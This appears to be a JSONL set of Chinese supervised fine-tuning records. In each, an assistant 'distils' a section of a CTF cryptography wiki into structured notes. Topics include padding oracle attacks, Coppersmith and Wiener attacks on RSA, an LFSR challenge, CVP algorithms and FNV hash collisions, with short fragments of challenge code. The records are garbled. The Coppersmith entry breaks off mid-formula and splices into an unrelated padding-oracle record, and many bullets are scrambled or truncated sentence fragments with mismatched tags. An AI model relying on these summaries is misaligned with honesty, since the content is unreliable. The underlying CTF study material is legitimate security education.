{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-af4628eb8f6ff63d3b16", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 2017 HITCON Secret Server Revenge > 分析\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 这个程序时接着上面的程序继续搞的，不过这次进行的简单的修改 - 加密算法的 iv 未知，不过可以根据 Welcome 加密后的消息推算出来。\n- ” 加密后的消息 3. 在 340 次操作中，需要猜中 token 的值，然后会自动将 flag 输出。\n- 程序最多能进行 340 操作，因此上述的爆破自然不可行 程序的大概流程如下 1. 经过 proof of work 2. 发送 “Welcome!\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 225, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["Padding Oracle Attack", "2017 HITCON Secret Server Revenge", "分析"], "original_id": "docs-9345a6ce1d1274d95f5c", "original_line": 342, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "0aab4b8373da5e952301104d", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-af90836ccf96a99382ee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「基本原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > 基本原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本原理”展开。\n- Coppersmith 相关攻击与Don Coppersmith 紧密相关，他提出了一种针对于模多项式（单变量，二元变量，甚至多元变量）找所有小整数根的多项式时间的方法。\n- 生成的新的基向量的模长是有界的，这可以使得我们利用 Howgrave-Graham 定理。\n- 需要注意的是，由于 Coppersmith 根的约束，在 RSA 中的应用时，往往只适用于 e 较小的情况。\n- Coppersmith method 主要是通过 Lenstra–Lenstra–Lovász lattice basis reduction algorithm（LLL）方法找到 - 与该多项式具有相同根 $x_0$ - 更小系数 - 定义域为整数域 的多项式 g，由于在整数域上找多项式的根是简单的（Berlekamp–Zassenhaus），从而我们就得到了原多项式在模意义下的整数根。\n- 这里我们以单变量为主进行介绍，假设 - 模数为 N ，N 具有一个因子 $b\\geq N^{\\beta},0< \\beta \\leq 1$ - 多项式 F 的次数为 $\\delta$ 那么该方法可以在$O(c\\delta^5log^9(N))$ 的复杂度内找到该多项式所有的根$x_0$，这里我们要求 $|x_0| 2017 HITCON Secret Server > 主要漏洞\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“主要漏洞”展开。\n- 加密后的结果，还可以控制 recv_msg 中的 IV，那么根据解密过程 $$ P_{i}=D_{K}(C_{i})\\oplus C_{i-1}\\\\ C_{0}=IV $$ 如果我们将 Welcome!\n- +'\\x07'*7) xor iv，如果我们恰当的控制解密过程中传递的 iv，那么我们就可以控制解密后的结果。\n- 其次，在上面的基础之上，如果我们在任何密文 C 后面添加自定义的 IV 和 Welcome 加密后的结果，作为输入传递给 recv_msg，那么我们便可以控制解密之后的消息的最后一个字节，那么由于 unpad 操作，我们便可以控制解密后的消息的长度减小 0 到 255。\n- 从而，我们也就可以知道 flag 解密后的结果。\n- 这里我们再简单总结一下我们已有的部分 - 加密 - 加密时的 IV 是固定的而且已知。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 512, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "主要漏洞", "heading_path": ["Padding Oracle Attack", "2017 HITCON Secret Server", "主要漏洞"], "original_id": "docs-428099e84e63402ae507", "original_line": 340, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "dac01786b25a43bcd6aa65e3", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b1457bf4d537566b80b8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「2018 国家安全周 pure math」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 2018 国家安全周 pure math\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 国家安全周 pure math”展开。\n- 根据题目中这样的内容，我们可以假设 $p$，$q$ 都是大素数，那么 $p^{q-1} \\equiv 1\\bmod q$ 那么 $p^{q} \\equiv p \\bmod pq$ 那么我们可以根据 3）知道 $p^q+q^p \\equiv p+q \\bmod pq$ 而 $p+q$ 又显然小于 $pq$，所以我们就知道 $p+q$ 的数值。\n- 进一步，我们假设1），2），3），4），5）对应的值分别为 $x_1$, $x_2$, $x_3$, $x_4$, $x_5$ 则 根据4），我们可以知道 $(p+q)^{p+q} \\equiv p^{p+q}+q^{p+q} \\bmod pq$ 又因为1）和 2），则 $p^pp \\equiv px_1\\bmod pq$ $q^qq \\equiv qx_2 \\bmod pq$ 因此 $px_1+qx_2 \\equiv x_4 \\bmod pq$ 根据 $x_1$ 和 $x_2$ 的求得方式，我们可以知道这里...\n- ` 我们的目的基本上就是求得 FLAG，那么怎么做呢?\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- plain: 6 行，首行 `1) p ** p % q = 11379733163430890293873651352508351338039758692587147147905977435852516817513616846986326091648839884...`\n- python: 15 行，首行 `x1 = 1137973316343089029387365135250835133803975869258714714790597743585251681751361684698632609164883988455302237641...`\n- shell: 4 行，首行 `➜ 2018-国家安全周第一场-puremath git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3383, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 国家安全周 pure math", "heading_path": ["RSA 介绍", "2018 国家安全周 pure math"], "original_id": "docs-9ddf680ddff8797dc6f4", "original_line": 285, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "3e52ff5d62cfc33b5372b5cc", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:python", "code:shell"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b171835e46b2efbc7903", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「扩展维纳攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 扩展维纳攻击来自《Extending Wiener's Attack in the Presence of Many Decrypting Exponents》，相关题目在CTF中已经出现了，例如2020羊城杯的Simple，但都是一些模板题*，这里将详细分析原论文中提出的方法以及分析方式，写明扩展维纳攻击原理以及在文末给出了一些开放问题欢迎讨论。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 272, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "扩展维纳攻击", "heading_path": ["扩展维纳攻击"], "original_id": "docs-a112e9e697fa754b96bc", "original_line": 291, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "10613c943cc81a2a9b57823c", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b2bf2eee00d5c068a5ec", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「2016 HCTF RSA2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Factoring with High Bits Known > 2016 HCTF RSA2\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA2”展开。\n- 所以我们首先可以利用我们得到的 n 来获取 u，如下 ` u=hex(n)[2:-1][-480:-320] `` 虽然，这样可能会获得较多位数的 u，但是这样并不影响，我们对 u 解密的时候每一分组都互不影响，所以我们只可能影响最高位数的 p4。\n- 此外，可以看到的是程序是对传入的消息进行 8 字节分组，采用密码本方式加密，所以密文之间互不影响。\n- 此后，程序有如下操作 `python u = pi_b(p4, 1) ` 利用 pi_b 对 p4 进行了加密 `python def pi_b(x, m): ''' m: 1: encrypt 0: decrypt ''' enc = DES.new(key) if m: method = enc.encrypt else: method = enc.decrypt s = long_to_bytes(x) sp = [s[a:a+8] for a in xrange(0, len(s), 8)] r =...\n- 这里我们以 2016 年 HCTF 中的 RSA2 为例进行介绍。\n- 可以看出 `python p, q, e = gen_key() n = p q phi_n = (p-1)(q-1) d = invmod(e, phi_n) while True: e2 = random.randint(0x1000, 0x10000) if gcd(e2, phi_n) == 1: break ` 我们得到的 $n=p \\times q$。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 49 行，首行 `from pwn import *`\n- python: 4 行，首行 `n: 0x724d41149e1bd9d2aa9b333d467f2dfa399049a5d0b4ee770c9d4883123be11a52ff1bd382ad37d0ff8d58c8224529ca21c86e8a97799a31...`\n- python: 8 行，首行 `p, q, e = gen_key()`\n- python: 21 行，首行 `def gen_key():`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 5016, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA2", "heading_path": ["Coppersmith 相关攻击", "Factoring with High Bits Known", "2016 HCTF RSA2"], "original_id": "docs-f06f0fb6741632029919", "original_line": 254, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "f69df0ee5a7ebd7a938b07fd", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b2cc03257d3228c55c6c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/lfsr.md` 中的章节「2018 强网杯 streamgame1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/lfsr.md`\n标题：线性反馈移位寄存器 - LFSR\n章节：线性反馈移位寄存器 - LFSR > 2018 强网杯 streamgame1\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 强网杯 streamgame1”展开。\n- =0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask = 0b1010011000100011100 f=open(\"key\",\"ab\") for i in range(12): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp)) f.close() ` 可以发现，fla...\n- 结果 `shell ➜ 2018-强网杯-streamgame1 git:(master) ✗ python exp.py 12 0b1110101100001101011 `` 因此 flag 为 [FLAG_REDACTED]。\n- 简单看一下题目 ``python from flag import flag assert flag.startswith(\"[FLAG_PREFIX]\") assert flag.endswith(\"}\") assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- lfsr.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 23 行，首行 `from flag import flag`\n- shell: 3 行，首行 `➜ 2018-强网杯-streamgame1 git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 636, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 强网杯 streamgame1", "heading_path": ["线性反馈移位寄存器 - LFSR", "2018 强网杯 streamgame1"], "original_id": "docs-2674dc438568756515a0", "original_line": 23, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "source_root": "docs", "source_sha256": "e39355712e0a4051e131f623c61190326426eee636fb3cafd98b71aa37695627", "split": "train", "split_group_key": "14e1794057eed27e32d0fe72", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "lfsr.md", "code:python", "code:shell"], "title": "线性反馈移位寄存器 - LFSR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b3540bb3dddcdb4c5bcb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「Babai's nearest plane algorithm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/cvp.md`\n标题：CVP\n章节：CVP > Algorithms > Babai's nearest plane algorithm\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Babai's nearest plane algorithm”展开。\n- 近似因子为$\\gamma = 2^{\\frac{n}{2}}$ 具体算法： [图片文件: figure/babai_1.png] 其中$c_j$为Gram-schmidt正交化中的系数取整，也即$proj_{b_{j}}(b)$的取整。\n- TODO: Add intro 该算法输入一组格$L$(秩为$n$)的基$B$和一个目标向量$\\mathbf{t}$，输出CVP问题的近似解。\n- 对于该算法第二步的个人理解：在格基规约和正交化过后的基$B$中找到一个最靠近$\\mathbf{t}$的线性组合。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- lattice\n- cvp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 257, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "Babai's nearest plane algorithm", "heading_path": ["CVP", "Algorithms", "Babai's nearest plane algorithm"], "original_id": "docs-46dcce47a3f2d9ee5832", "original_line": 11, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "source_root": "docs", "source_sha256": "ce4bff91d9553736187e65ddf810cb8485ac4e64a6943532de00afbef377f37d", "split": "train", "split_group_key": "50f7a144cc29ace21a22f7a6", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "lattice", "cvp.md"], "title": "CVP"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b5796f696f1cc245bb2f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding.md`\n标题：填充方式\n章节：填充方式 > 2018 上海市大学生网络安全大赛 aessss > 分析\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- `python def unpad(self, s): ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(self.invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])]) `` 我们可以通过篡改最后一个字节来控制去掉的 padding 字节数。\n- 这个题目问题出在 padding 的时候，由于不足 256 位要进行 padding，padding 的字节也就是缺的字节数，但是如果明文够 256 字节，那么按照代码逻辑就不进行 padding： ``python def pad(self, s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(self.s_box): ret[pos] = s[i...\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- padding.md\n- code:python\n\n代码/命令片段线索：\n- python: 6 行，首行 `def pad(self, s):`\n- python: 5 行，首行 `def unpad(self, s):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 555, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["填充方式", "2018 上海市大学生网络安全大赛 aessss", "分析"], "original_id": "docs-86a326411fd40beb85b1", "original_line": 355, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "source_root": "docs", "source_sha256": "5737a702cc4b65ba4cc98ab56a46331ffff5a037b72d573d04fce1782b180597", "split": "train", "split_group_key": "41c9388818bf3f052087bf64", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "padding.md", "code:python"], "title": "填充方式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b58ad2578a319231737c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/fnv.md` 中的章节「2018 网鼎杯 hashcoll」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/fnv.md`\n标题：Fowler–Noll–Vo hash function\n章节：Fowler–Noll–Vo hash function > 2018 网鼎杯 hashcoll\n路径分类：crypto / crypto/hash/fnv.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 网鼎杯 hashcoll”展开。\n- 其实这道题是从 NSU Crypto 抄过来的，https://nsucrypto.nsu.ru/archive/2017/problems_solution，具体的 wp 之前 hellman 也写了，https://gist.github.com/hellman/9bf8376cd04e7a8dd2ec7be1947261e9。\n- 简单看一下题目 ```python h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- hash\n- fnv.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 270, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 网鼎杯 hashcoll", "heading_path": ["Fowler–Noll–Vo hash function", "2018 网鼎杯 hashcoll"], "original_id": "docs-a40c786672bb5508bbcf", "original_line": 402, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/fnv.md", "source_root": "docs", "source_sha256": "990db59017bfe7cf6034b06615d4e94a768405f88debb3039f682daffa73ee44", "split": "train", "split_group_key": "a87f98489332580fe2ed8344", "subcategory": "crypto/hash/fnv.md", "terms": ["密码学", "AI安全", "crypto", "hash", "fnv.md"], "title": "Fowler–Noll–Vo hash function"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/fnv.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b71f140dfe8943227535", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「2016 HCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > 综合例子 > 2016 HCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/4\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA1”展开。\n- 896954251277adc0cdd0c3bd5a3f107dbebf5f4d884e43fe9b118bdd51dc80607608670507388ae129a71e0005826c7c82efccf9c86c96777d7d3b9b5cce425e3dcf9aec0643f003c851353e36809b9202ff3b79e8f33d40967c1d36f5d585ac9eba73611152fc6d3cf36fd9a60b4c621858ed1f6d4db86054c27828e22357fa3...\n- ``python if __name__ == \"__main__\": bt = 536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n代码/命令片段线索：\n- plain: 1 行，首行 `其次使用如下方法进行 Wiener's Attack 得到 u，如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3756, "chunk_count": 4, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA1", "heading_path": ["私钥 d 相关攻击", "综合例子", "2016 HCTF RSA1"], "original_id": "docs-11fd1a70be3dc2fbe286", "original_line": 289, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "5bb61c30d1894ed4612b1638", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
